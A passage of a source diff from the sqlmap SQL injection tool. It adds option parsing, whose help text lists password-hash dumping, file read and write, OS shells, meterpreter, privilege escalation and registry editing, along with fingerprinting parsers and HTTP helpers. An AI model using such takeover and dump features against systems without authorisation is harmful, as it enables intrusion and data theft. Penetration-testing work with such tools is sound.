+        techniques = OptionGroup(parser, "Techniques", "These options can "
+                                 "be used to test for specific SQL injection "
+                                 "technique or to use one of them to exploit "
+                                 "the affected parameter(s) rather than using "
+                                 "the default blind SQL injection technique.")
+
+        techniques.add_option("--stacked-test", dest="stackedTest",
+                              action="store_true",
+                              help="Test for stacked queries (multiple "
+                                   "statements) support")
+
+        techniques.add_option("--time-test", dest="timeTest",
+                              action="store_true",
+                              help="Test for time based blind SQL injection")
+
+        techniques.add_option("--time-sec", dest="timeSec",
+                              type="int", default=5,
+                              help="Seconds to delay the DBMS response "
+                                   "(default 5)")
+
+        techniques.add_option("--union-test", dest="unionTest",
+                              action="store_true",
+                              help="Test for UNION query (inband) SQL injection")
+
+        techniques.add_option("--union-tech", dest="uTech",
+                              help="Technique to test for UNION query SQL injection")
+
+        techniques.add_option("--union-use", dest="unionUse",
+                              action="store_true",
+                              help="Use the UNION query (inband) SQL injection "
+                                   "to retrieve the queries output. No "
+                                   "need to go blind")
+
+        # Fingerprint options
+        fingerprint = OptionGroup(parser, "Fingerprint")
+
+        fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp",
+                               action="store_true",
+                               help="Perform an extensive DBMS version fingerprint")
+
+        # Enumeration options
+        enumeration = OptionGroup(parser, "Enumeration", "These options can "
+                                  "be used to enumerate the back-end database "
+                                  "management system information, structure "
+                                  "and data contained in the tables. Moreover "
+                                  "you can run your own SQL statements.")
+
+        enumeration.add_option("-b", "--banner", dest="getBanner",
+                               action="store_true", help="Retrieve DBMS banner")
+
+        enumeration.add_option("--current-user", dest="getCurrentUser",
+                               action="store_true",
+                               help="Retrieve DBMS current user")
+
+        enumeration.add_option("--current-db", dest="getCurrentDb",
+                               action="store_true",
+                               help="Retrieve DBMS current database")
+
+        enumeration.add_option("--is-dba", dest="isDba",
+                               action="store_true",
+                               help="Detect if the DBMS current user is DBA")
+
+        enumeration.add_option("--users", dest="getUsers", action="store_true",
+                               help="Enumerate DBMS users")
+
+        enumeration.add_option("--passwords", dest="getPasswordHashes",
+                               action="store_true",
+                               help="Enumerate DBMS users password hashes")
+
+        enumeration.add_option("--privileges", dest="getPrivileges",
+                               action="store_true",
+                               help="Enumerate DBMS users privileges")
+
+        enumeration.add_option("--dbs", dest="getDbs", action="store_true",
+                               help="Enumerate DBMS databases")
+
+        enumeration.add_option("--tables", dest="getTables", action="store_true",
+                               help="Enumerate DBMS database tables")
+
+        enumeration.add_option("--columns", dest="getColumns", action="store_true",
+                               help="Enumerate DBMS database table columns")
+
+        enumeration.add_option("--dump", dest="dumpTable", action="store_true",
+                               help="Dump DBMS database table entries")
+
+        enumeration.add_option("--dump-all", dest="dumpAll", action="store_true",
+                               help="Dump all DBMS databases tables entries")
+
+        enumeration.add_option("-D", dest="db",
+                               help="DBMS database to enumerate")
+
+        enumeration.add_option("-T", dest="tbl",
+                               help="DBMS database table to enumerate")
+
+        enumeration.add_option("-C", dest="col",
+                               help="DBMS database table column to enumerate")
+
+        enumeration.add_option("-U", dest="user",
+                               help="DBMS user to enumerate")
+
+        enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs",
+                               action="store_true",
+                               help="Exclude DBMS system databases when "
+                                    "enumerating tables")
+
+        enumeration.add_option("--start", dest="limitStart", type="int",
+                               help="First query output entry to retrieve")
+
+        enumeration.add_option("--stop", dest="limitStop", type="int",
+                               help="Last query output entry to retrieve")
+
+        enumeration.add_option("--first", dest="firstChar", type="int",
+                               help="First query output word character to retrieve")
+
+        enumeration.add_option("--last", dest="lastChar", type="int",
+                               help="Last query output word character to retrieve")
+
+        enumeration.add_option("--sql-query", dest="query",
+                               help="SQL statement to be executed")
+
+        enumeration.add_option("--sql-shell", dest="sqlShell",
+                               action="store_true",
+                               help="Prompt for an interactive SQL shell")
+
+        # User-defined function options
+        udf = OptionGroup(parser, "User-defined function injection", "These "
+                          "options can be used to create custom user-defined "
+                          "functions.")
+
+        udf.add_option("--udf-inject", dest="udfInject", action="store_true",
+                       help="Inject custom user-defined functions")
+
+        udf.add_option("--shared-lib", dest="shLib",
+                       help="Local path of the shared library")
+
+        # File system options
+        filesystem = OptionGroup(parser, "File system access", "These options "
+                                 "can be used to access the back-end database "
+                                 "management system underlying file system.")
+
+        filesystem.add_option("--read-file", dest="rFile",
+                              help="Read a file from the back-end DBMS "
+                                   "file system")
+
+        filesystem.add_option("--write-file", dest="wFile",
+                              help="Write a local file on the back-end "
+                                   "DBMS file system")
+
+        filesystem.add_option("--dest-file", dest="dFile",
+                              help="Back-end DBMS absolute filepath to "
+                                   "write to")
+
+        # Takeover options
+        takeover = OptionGroup(parser, "Operating system access", "These "
+                               "options can be used to access the back-end "
+                               "database management system underlying "
+                               "operating system.")
+
+        takeover.add_option("--os-cmd", dest="osCmd",
+                            help="Execute an operating system command")
+
+        takeover.add_option("--os-shell", dest="osShell", action="store_true",
+                            help="Prompt for an interactive operating "
+                                 "system shell")
+
+        takeover.add_option("--os-pwn", dest="osPwn", action="store_true",
+                            help="Prompt for an out-of-band shell, "
+                                 "meterpreter or VNC")
+
+        takeover.add_option("--os-smbrelay", dest="osSmb", action="store_true",
+                            help="One click prompt for an OOB shell, "
+                                 "meterpreter or VNC")
+
+        takeover.add_option("--os-bof", dest="osBof", action="store_true",
+                            help="Stored procedure buffer overflow "
+                                 "exploitation")
+
+        takeover.add_option("--priv-esc", dest="privEsc", action="store_true",
+                            help="Database process' user privilege escalation")
+
+        takeover.add_option("--msf-path", dest="msfPath",
+                            help="Local path where Metasploit Framework 3 "
+                                 "is installed")
+
+        takeover.add_option("--tmp-path", dest="tmpPath",
+                            help="Remote absolute path of temporary files "
+                                 "directory")
+
+        # Windows registry options
+        windows = OptionGroup(parser, "Windows registry access", "These "
+                               "options can be used to access the back-end "
+                               "database management system Windows "
+                               "registry.")
+
+        windows.add_option("--reg-read", dest="regRead", action="store_true",
+                            help="Read a Windows registry key value")
+
+        windows.add_option("--reg-add", dest="regAdd", action="store_true",
+                            help="Write a Windows registry key value data")
+
+        windows.add_option("--reg-del", dest="regDel", action="store_true",
+                            help="Delete a Windows registry key value")
+
+        windows.add_option("--reg-key", dest="regKey",
+                            help="Windows registry key")
+
+        windows.add_option("--reg-value", dest="regVal",
+                            help="Windows registry key value")
+
+        windows.add_option("--reg-data", dest="regData",
+                            help="Windows registry key value data")
+
+        windows.add_option("--reg-type", dest="regType",
+                            help="Windows registry key value type")
+
+        # Miscellaneous options
+        miscellaneous = OptionGroup(parser, "Miscellaneous")
+
+        miscellaneous.add_option("-s", dest="sessionFile",
+                                 help="Save and resume all data retrieved "
+                                      "on a session file")
+                                      
+        miscellaneous.add_option("--flush-session", dest="flushSession", action="store_true",
+                                 help="Flush session file for current target")
+                                      
+        miscellaneous.add_option("--eta", dest="eta", action="store_true",
+                                 help="Display for each output the "
+                                      "estimated time of arrival")
+
+        miscellaneous.add_option("--gpage", dest="googlePage", type="int",
+                                 help="Use google dork results from specified page number")
+
+        miscellaneous.add_option("--update", dest="updateAll", action="store_true",
+                                  help="Update sqlmap")
+
+        miscellaneous.add_option("--save", dest="saveCmdline", action="store_true",
+                                 help="Save options on a configuration INI file")
+
+        miscellaneous.add_option("--batch", dest="batch", action="store_true",
+                                 help="Never ask for user input, use the default behaviour")
+
+        miscellaneous.add_option("--cleanup", dest="cleanup", action="store_true",
+                                 help="Clean up the DBMS by sqlmap specific "
+                                      "UDF and tables")
+
+        parser.add_option_group(target)
+        parser.add_option_group(request)
+        parser.add_option_group(injection)
+        parser.add_option_group(techniques)
+        parser.add_option_group(fingerprint)
+        parser.add_option_group(enumeration)
+        parser.add_option_group(udf)
+        parser.add_option_group(filesystem)
+        parser.add_option_group(takeover)
+        parser.add_option_group(windows)
+        parser.add_option_group(miscellaneous)
+
+        (args, _) = parser.parse_args()
+
+        if not args.url and not args.list and not args.googleDork and not args.configFile and not args.requestFile and not args.updateAll:
+            errMsg  = "missing a mandatory parameter ('-u', '-l', '-r', '-g', '-c' or '--update'), "
+            errMsg += "-h for help"
+            parser.error(errMsg)
+
+        return args
+    except (OptionError, TypeError), e:
+        parser.error(e)
+
+    debugMsg = "parsing command line"
+    logger.debug(debugMsg)

lib/parse/configfile.py

@@ -0,0 +1,99 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+from ConfigParser import NoSectionError
+from ConfigParser import ConfigParser
+
+from lib.core.common import checkFile
+from lib.core.data import conf
+from lib.core.data import logger
+from lib.core.exception import sqlmapMissingMandatoryOptionException
+from lib.core.optiondict import optDict
+
+config = None
+
+def configFileProxy(section, option, boolean=False, integer=False):
+    """
+    Parse configuration file and save settings into the configuration
+    advanced dictionary.
+    """
+
+    global config
+
+    if config.has_option(section, option):
+        if boolean:
+            value = config.getboolean(section, option)
+        elif integer:
+            value = config.getint(section, option)
+        else:
+            value = config.get(section, option)
+
+        if value:
+            conf[option] = value
+        else:
+            conf[option] = None
+    else:
+        debugMsg  = "missing requested option '%s' (section " % option
+        debugMsg += "'%s') into the configuration file, " % section
+        debugMsg += "ignoring. Skipping to next."
+        logger.debug(debugMsg)
+
+def configFileParser(configFile):
+    """
+    Parse configuration file and save settings into the configuration
+    advanced dictionary.
+    """
+
+    global config
+
+    debugMsg = "parsing configuration file"
+    logger.debug(debugMsg)
+
+    checkFile(configFile)
+    config = ConfigParser()
+    config.read(configFile)
+
+    if not config.has_section("Target"):
+        raise NoSectionError, "Target in the configuration file is mandatory"
+
+    condition  = not config.has_option("Target", "url")
+    condition &= not config.has_option("Target", "list")
+    condition &= not config.has_option("Target", "googleDork")
+
+    if condition:
+        errMsg  = "missing a mandatory option in the configuration "
+        errMsg += "file (url, list or googleDork)"
+        raise sqlmapMissingMandatoryOptionException, errMsg
+
+    for family, optionData in optDict.items():
+        for option, data in optionData.items():
+            boolean = False
+            integer = False
+
+            if data == "boolean":
+                boolean = True
+            elif data == "integer":
+                integer = True
+
+            configFileProxy(family, option, boolean, integer)

lib/parse/handler.py

@@ -0,0 +1,87 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+import re
+from xml.sax.handler import ContentHandler
+from lib.core.common import sanitizeStr
+
+class FingerprintHandler(ContentHandler):
+    """
+    This class defines methods to parse and extract information from
+    the given DBMS banner based upon the data in XML file
+    """
+
+    def __init__(self, banner, info):
+        self.__banner      = sanitizeStr(banner)
+        self.__regexp      = None
+        self.__match       = None
+        self.__dbmsVersion = None
+        self.__techVersion = None
+        self.__info        = info
+
+    def __feedInfo(self, key, value):
+        value = sanitizeStr(value)
+
+        if value in ( None, "None" ):
+            return
+
+        if key in ( "dbmsVersion" ):
+            self.__info[key] = value
+        else:
+            if key not in self.__info.keys():
+                self.__info[key] = set()
+
+            for v in value.split("|"):
+                self.__info[key].add(v)
+
+    def startElement(self, name, attrs):
+        if name == "regexp":
+            self.__regexp = sanitizeStr(attrs.get("value"))
+            self.__match  = re.search(self.__regexp, self.__banner, re.I | re.M)
+
+        if name == "info" and self.__match:
+            self.__feedInfo("type", attrs.get("type"))
+            self.__feedInfo("distrib", attrs.get("distrib"))
+            self.__feedInfo("release", attrs.get("release"))
+            self.__feedInfo("codename", attrs.get("codename"))
+
+            self.__dbmsVersion = sanitizeStr(attrs.get("dbms_version"))
+            self.__techVersion = sanitizeStr(attrs.get("tech_version"))
+            self.__sp          = sanitizeStr(attrs.get("sp"))
+
+            if self.__dbmsVersion.isdigit():
+                self.__feedInfo("dbmsVersion", self.__match.group(int(self.__dbmsVersion)))
+
+            if self.__techVersion.isdigit():
+                self.__feedInfo("technology", "%s %s" % (attrs.get("technology"), self.__match.group(int(self.__techVersion))))
+            else:
+                self.__feedInfo("technology", attrs.get("technology"))
+
+            if self.__sp.isdigit():
+                self.__feedInfo("sp", "Service Pack %s" % self.__match.group(int(self.__sp)))
+
+            self.__regexp      = None
+            self.__match       = None
+            self.__dbmsVersion = None
+            self.__techVersion = None

lib/parse/headers.py

@@ -0,0 +1,67 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+import os
+
+from xml.sax import parse
+
+from lib.core.common import checkFile
+from lib.core.data import kb
+from lib.core.data import paths
+from lib.parse.handler import FingerprintHandler
+
+def headersParser(headers):
+    """
+    This function calls a class that parses the input HTTP headers to
+    fingerprint the back-end database management system operating system
+    and the web application technology
+    """
+
+    # It is enough to parse the headers on first four HTTP responses
+    if kb.headersCount > 3:
+        return
+
+    kb.headersCount += 1
+
+    topHeaders = {
+                   "cookie":                          os.path.join(paths.SQLMAP_XML_BANNER_PATH, "cookie.xml"),
+                   "microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"),
+                   "server":                          os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"),
+                   "servlet-engine":                  os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet.xml"),
+                   "set-cookie":                      os.path.join(paths.SQLMAP_XML_BANNER_PATH, "cookie.xml"),
+                   "x-aspnet-version":                os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"),
+                   "x-powered-by":                    os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml")
+                 }
+
+    for header in headers:
+        if header in topHeaders.keys():
+            value   = headers[header]
+            xmlfile = topHeaders[header]
+
+            checkFile(xmlfile)
+
+            handler = FingerprintHandler(value, kb.headersFp)
+
+            parse(xmlfile, handler)
+            parse(paths.GENERIC_XML, handler)

lib/parse/html.py

@@ -0,0 +1,76 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+import re
+
+from xml.sax import parse
+from xml.sax.handler import ContentHandler
+
+from lib.core.common import checkFile
+from lib.core.common import sanitizeStr
+from lib.core.data import kb
+from lib.core.data import paths
+
+class htmlHandler(ContentHandler):
+    """
+    This class defines methods to parse the input HTML page to
+    fingerprint the back-end database management system
+    """
+
+    def __init__(self, page):
+        self.__dbms   = None
+        self.__page   = page
+        self.__regexp = None
+        self.__match  = None
+
+        self.dbms     = None
+
+    def startElement(self, name, attrs):
+        if name == "dbms":
+            self.__dbms = attrs.get("value")
+
+        if name == "error":
+            self.__regexp = attrs.get("regexp")
+            self.__match = re.search(self.__regexp, self.__page, re.I)
+
+            if self.__match:
+                self.dbms = self.__dbms
+                self.__match = None
+
+def htmlParser(page):
+    """
+    This function calls a class that parses the input HTML page to
+    fingerprint the back-end database management system
+    """
+
+    xmlfile = paths.ERRORS_XML
+    checkFile(xmlfile)
+    page = sanitizeStr(page)
+    handler = htmlHandler(page)
+    parse(xmlfile, handler)
+
+    if handler.dbms and handler.dbms not in kb.htmlFp:
+        kb.htmlFp.append(handler.dbms)
+
+    return handler.dbms

lib/parse/queriesfile.py

@@ -0,0 +1,229 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+from xml.sax import parse
+from xml.sax.handler import ContentHandler
+
+from lib.core.common import checkFile
+from lib.core.common import sanitizeStr
+from lib.core.data import logger
+from lib.core.data import queries
+from lib.core.data import paths
+from lib.core.datatype import advancedDict
+
+class queriesHandler(ContentHandler):
+    """
+    This class defines methods to parse the default DBMS queries
+    from an XML file
+    """
+
+    def __init__(self):
+        self.__dbms    = ''
+        self.__queries = advancedDict()
+
+    def startElement(self, name, attrs):
+        if name == "dbms":
+            data = sanitizeStr(attrs.get("value"))
+            self.__dbms = data
+
+        elif name == "cast":
+            data = sanitizeStr(attrs.get("query"))
+            self.__queries.cast = data
+
+        elif name == "length":
+            data = sanitizeStr(attrs.get("query"))
+            self.__queries.length = data
+
+        elif name == "isnull":
+            data = sanitizeStr(attrs.get("query"))
+            self.__queries.isnull = data
+
+        elif name == "delimiter":
+            data = sanitizeStr(attrs.get("query"))
+            self.__queries.delimiter = data
+
+        elif name == "limit":
+            data = sanitizeStr(attrs.get("query"))
+            self.__queries.limit = data
+
+        elif name == "limitregexp":
+            data = sanitizeStr(attrs.get("query"))
+            self.__queries.limitregexp = data
+
+        elif name == "limitgroupstart":
+            data = sanitizeStr(attrs.get("query"))
+            self.__queries.limitgroupstart = data
+
+        elif name == "limitgroupstop":
+            data = sanitizeStr(attrs.get("query"))
+            self.__queries.limitgroupstop = data
+
+        elif name == "limitstring":
+            data = sanitizeStr(attrs.get("query"))
+            self.__queries.limitstring = data
+
+        elif name == "order":
+            data = sanitizeStr(attrs.get("query"))
+            self.__queries.order = data
+
+        elif name == "count":
+            data = sanitizeStr(attrs.get("query"))
+            self.__queries.count = data
+
+        elif name == "comment":
+            data = sanitizeStr(attrs.get("query"))
+            self.__queries.comment = data
+
+        elif name == "timedelay":
+            data = sanitizeStr(attrs.get("query"))
+            self.__queries.timedelay = data
+
+            data = sanitizeStr(attrs.get("query2"))
+            self.__queries.timedelay2 = data
+
+        elif name == "substring":
+            data = sanitizeStr(attrs.get("query"))
+            self.__queries.substring = data
+
+        elif name == "case":
+            data = sanitizeStr(attrs.get("query"))
+            self.__queries.case = data
+
+        elif name == "inference":
+            data = sanitizeStr(attrs.get("query"))
+            self.__queries.inference = data
+
+        elif name == "banner":
+            data = sanitizeStr(attrs.get("query"))
+            self.__queries.banner = data
+
+        elif name == "current_user":
+            data = sanitizeStr(attrs.get("query"))
+            self.__queries.currentUser = data
+
+        elif name == "current_db":
+            data = sanitizeStr(attrs.get("query"))
+            self.__queries.currentDb = data
+
+        elif name == "is_dba":
+            data = sanitizeStr(attrs.get("query"))
+            self.__queries.isDba = data
+
+        elif name == "check_udf":
+            data = sanitizeStr(attrs.get("query"))
+            self.__queries.checkUdf = data
+
+        elif name == "inband":
+            self.__inband    = sanitizeStr(attrs.get("query"))
+            self.__inband2   = sanitizeStr(attrs.get("query2"))
+            self.__conditionInband = sanitizeStr(attrs.get("condition"))
+            self.__conditionInband2 = sanitizeStr(attrs.get("condition2"))
+
+        elif name == "blind":
+            self.__blind  = sanitizeStr(attrs.get("query"))
+            self.__blind2 = sanitizeStr(attrs.get("query2"))
+            self.__count  = sanitizeStr(attrs.get("count"))
+            self.__count2 = sanitizeStr(attrs.get("count2"))
+            self.__conditionBlind = sanitizeStr(attrs.get("condition"))
+            self.__conditionBlind2 = sanitizeStr(attrs.get("condition2"))
+
+    def endElement(self, name):
+        if name == "dbms":
+            queries[self.__dbms] = self.__queries
+            self.__queries = advancedDict()
+
+        elif name == "users":
+            self.__users = {}
+            self.__users["inband"] = { "query": self.__inband, "query2": self.__inband2 }
+            self.__users["blind"]  = { "query": self.__blind, "query2": self.__blind2,
+                                       "count": self.__count, "count2": self.__count2 }
+
+            self.__queries.users = self.__users
+
+        elif name == "passwords":
+            self.__passwords = {}
+            self.__passwords["inband"] = { "query": self.__inband, "query2": self.__inband2, "condition": self.__conditionInband }
+            self.__passwords["blind"]  = { "query": self.__blind, "query2": self.__blind2,
+                                           "count": self.__count, "count2": self.__count2 }
+
+            self.__queries.passwords = self.__passwords
+
+        elif name == "privileges":
+            self.__privileges = {}
+            self.__privileges["inband"] = { "query": self.__inband, "query2": self.__inband2, "condition": self.__conditionInband, "condition2": self.__conditionInband2 }
+            self.__privileges["blind"]  = { "query": self.__blind, "query2": self.__blind2,
+                                           "count": self.__count, "count2": self.__count2 }
+
+            self.__queries.privileges = self.__privileges
+
+        elif name == "dbs":
+            self.__dbs = {}
+            self.__dbs["inband"] = { "query": self.__inband, "query2": self.__inband2 }
+            self.__dbs["blind"]  = { "query": self.__blind, "query2": self.__blind2,
+                                     "count": self.__count, "count2": self.__count2 }
+
+            self.__queries.dbs = self.__dbs
+
+        elif name == "tables":
+            self.__tables = {}
+            self.__tables["inband"] = { "query": self.__inband, "condition": self.__conditionInband }
+            self.__tables["blind"]  = { "query": self.__blind, "count": self.__count }
+
+            self.__queries.tables = self.__tables
+
+        elif name == "columns":
+            self.__columns = {}
+            self.__columns["inband"] = { "query": self.__inband, "condition": self.__conditionInband }
+            self.__columns["blind"]  = { "query": self.__blind, "query2": self.__blind2, "count": self.__count, "condition": self.__conditionBlind }
+
+            self.__queries.columns = self.__columns
+
+        elif name == "dump_column":
+            self.__dumpColumn = {}
+            self.__dumpColumn["inband"] = { "query": self.__inband, "query2": self.__inband2, "condition": self.__conditionInband, "condition2": self.__conditionInband2 }
+            self.__dumpColumn["blind"]  = { "query": self.__blind, "query2": self.__blind2, "count": self.__count, "count2": self.__count2, "condition": self.__conditionBlind, "condition2": self.__conditionBlind2 }
+
+            self.__queries.dumpColumn = self.__dumpColumn
+
+        elif name == "dump_table":
+            self.__dumpTable = {}
+            self.__dumpTable["inband"] = { "query": self.__inband }
+            self.__dumpTable["blind"]  = { "query": self.__blind, "count": self.__count }
+
+            self.__queries.dumpTable = self.__dumpTable
+
+def queriesParser():
+    """
+    This function calls a class to parse the default DBMS queries
+    from an XML file
+    """
+
+    debugMsg = "parsing XML queries file"
+    logger.debug(debugMsg)
+
+    xmlfile = paths.QUERIES_XML
+
+    checkFile(xmlfile)
+    handler = queriesHandler()
+    parse(xmlfile, handler)

lib/request/__init__.py

@@ -0,0 +1,25 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+pass

lib/request/basic.py

@@ -0,0 +1,106 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+import gzip
+import os
+import re
+import StringIO
+import zlib
+
+from lib.core.common import directoryPath
+from lib.core.common import isWindowsPath
+from lib.core.common import posixToNtSlashes
+from lib.core.common import urlEncodeCookieValues
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.parse.headers import headersParser
+from lib.parse.html import htmlParser
+
+def forgeHeaders(cookie, ua):
+    """
+    Prepare HTTP Cookie and HTTP User-Agent headers to use when performing
+    the HTTP requests
+    """
+
+    headers = {}
+
+    for header, value in conf.httpHeaders:
+        if cookie and header == "Cookie":
+            if conf.cookieUrlencode:
+                cookie = urlEncodeCookieValues(cookie)
+
+            headers[header] = cookie
+        elif ua and header == "User-Agent":
+            headers[header] = ua
+        else:
+            headers[header] = value
+
+    return headers
+
+def parseResponse(page, headers):
+    """
+    @param page: the page to parse to feed the knowledge base htmlFp
+    (back-end DBMS fingerprint based upon DBMS error messages return
+    through the web application) list and absFilePaths (absolute file
+    paths) set.
+    """
+
+    if headers:
+        headersParser(headers)
+
+    if page:
+        htmlParser(page)
+
+        # Detect injectable page absolute system path
+        # NOTE: this regular expression works if the remote web application
+        # is written in PHP and debug/error messages are enabled.
+        absFilePathsRegExp = ( r" in <b>(?P<result>.*?)</b> on line",  r"(?:>|\s)(?P<result>[A-Za-z]:[\\/][\w.\\/]*)", r"(?:>|\s)(?P<result>/\w[/\w.]+)" )
+
+        for absFilePathRegExp in absFilePathsRegExp:
+            reobj = re.compile(absFilePathRegExp)
+
+            for match in reobj.finditer(page):
+                absFilePath = match.group("result").strip()
+                page = page.replace(absFilePath, "")
+                if isWindowsPath(absFilePath):
+                    absFilePath = posixToNtSlashes(absFilePath)
+                if absFilePath not in kb.absFilePaths:
+                    kb.absFilePaths.add(absFilePath)
+                    
+
+def decodePage(page, encoding):
+    """
+    Decode gzip/deflate HTTP response
+    """
+
+    if str(encoding).lower() in ('gzip', 'x-gzip', 'deflate'):
+        if encoding == 'deflate':
+            # http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations
+            data = StringIO.StringIO(zlib.decompress(page, -15))
+        else:
+            data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(page))
+
+        page = data.read()
+
+    return page

lib/request/certhandler.py

@@ -0,0 +1,45 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+import sys
+import httplib
+import urllib2
+
+from lib.core.data import conf
+
+class HTTPSCertAuthHandler(urllib2.HTTPSHandler):
+    def __init__(self, key_file, cert_file):
+        urllib2.HTTPSHandler.__init__(self)
+        self.key_file = key_file
+        self.cert_file = cert_file
+
+    def https_open(self, req):
+        return self.do_open(self.getConnection, req)
+
+    def getConnection(self, host):
+        if sys.version_info >= (2,6):
+            retVal = httplib.HTTPSConnection(host, key_file=self.key_file, cert_file=self.cert_file, timeout=conf.timeout)
+        else:
+            retVal = httplib.HTTPSConnection(host, key_file=self.key_file, cert_file=self.cert_file)
+        return retVal

lib/request/comparison.py

@@ -0,0 +1,108 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
